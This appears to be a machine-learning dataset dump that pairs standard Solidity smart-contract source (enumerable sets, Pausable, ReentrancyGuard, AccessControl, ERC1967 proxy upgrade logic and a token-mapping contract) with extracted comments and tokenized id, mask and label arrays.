uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
| number of assets available of any type | uint256 public totalNumberAvailable;
| 6,043,697 | [
1,
2696,
434,
7176,
2319,
434,
1281,
618,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
2254,
5034,
1071,
2078,
1854,
5268,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.0;
import "../utils/OnlyOwner.sol";
/**
* @dev Maps token symbols to contract and migartion addreses addresses.
* If no contract address, not supported.
* If no migration address, is a native swap.
* If both a contract address and a migration address, uses an external swap.
*/
contract Mappings is OnlyOwner {
struct Details {
bool _isERC20;
address _contractAddress;
address _migrationAddress;
}
mapping(string => Details) public swapDetails;
function getDetails(string memory symbol) public view returns (bool, address, address) {
require(swapDetails[symbol]._contractAddress != address(0), "Token not currently supported.");
return (swapDetails[symbol]._isERC20, swapDetails[symbol]._contractAddress, swapDetails[symbol]._migrationAddress);
}
function setDetails(string memory symbol, bool isERC20, address contractAddress, address migrationAddress) public onlyOwner {
swapDetails[symbol]._isERC20 = isERC20;
swapDetails[symbol]._contractAddress = contractAddress;
swapDetails[symbol]._migrationAddress = migrationAddress;
}
} | * @dev Maps token symbols to contract and migartion addreses addresses. If no contract address, not supported. If no migration address, is a native swap. If both a contract address and a migration address, uses an external swap./ | contract Mappings is OnlyOwner {
struct Details {
bool _isERC20;
address _contractAddress;
address _migrationAddress;
}
mapping(string => Details) public swapDetails;
function getDetails(string memory symbol) public view returns (bool, address, address) {
require(swapDetails[symbol]._contractAddress != address(0), "Token not currently supported.");
return (swapDetails[symbol]._isERC20, swapDetails[symbol]._contractAddress, swapDetails[symbol]._migrationAddress);
}
function setDetails(string memory symbol, bool isERC20, address contractAddress, address migrationAddress) public onlyOwner {
swapDetails[symbol]._isERC20 = isERC20;
swapDetails[symbol]._contractAddress = contractAddress;
swapDetails[symbol]._migrationAddress = migrationAddress;
}
} | 13,089,519 | [
1,
8903,
1147,
7963,
358,
6835,
471,
312,
360,
485,
285,
527,
455,
281,
6138,
18,
971,
1158,
6835,
1758,
16,
486,
3260,
18,
971,
1158,
6333,
1758,
16,
353,
279,
6448,
7720,
18,
971,
3937,
279,
6835,
1758,
471,
279,
6333,
1758,
16,
4692,
392,
3903,
7720,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1635,
4675,
353,
5098,
5541,
288,
203,
203,
565,
1958,
21897,
288,
203,
3639,
1426,
389,
291,
654,
39,
3462,
31,
203,
3639,
1758,
389,
16351,
1887,
31,
203,
3639,
1758,
389,
15746,
1887,
31,
203,
565,
289,
203,
565,
2874,
12,
1080,
516,
21897,
13,
1071,
7720,
3790,
31,
203,
203,
565,
445,
2343,
1987,
12,
1080,
3778,
3273,
13,
1071,
1476,
1135,
261,
6430,
16,
1758,
16,
1758,
13,
288,
203,
3639,
2583,
12,
22270,
3790,
63,
7175,
65,
6315,
16351,
1887,
480,
1758,
12,
20,
3631,
315,
1345,
486,
4551,
3260,
1199,
1769,
203,
3639,
327,
261,
22270,
3790,
63,
7175,
65,
6315,
291,
654,
39,
3462,
16,
7720,
3790,
63,
7175,
65,
6315,
16351,
1887,
16,
7720,
3790,
63,
7175,
65,
6315,
15746,
1887,
1769,
203,
565,
289,
203,
203,
565,
445,
444,
3790,
12,
1080,
3778,
3273,
16,
1426,
353,
654,
39,
3462,
16,
1758,
6835,
1887,
16,
1758,
6333,
1887,
13,
1071,
1338,
5541,
288,
203,
3639,
7720,
3790,
63,
7175,
65,
6315,
291,
654,
39,
3462,
273,
353,
654,
39,
3462,
31,
203,
3639,
7720,
3790,
63,
7175,
65,
6315,
16351,
1887,
273,
6835,
1887,
31,
203,
3639,
7720,
3790,
63,
7175,
65,
6315,
15746,
1887,
273,
6333,
1887,
31,
203,
565,
289,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
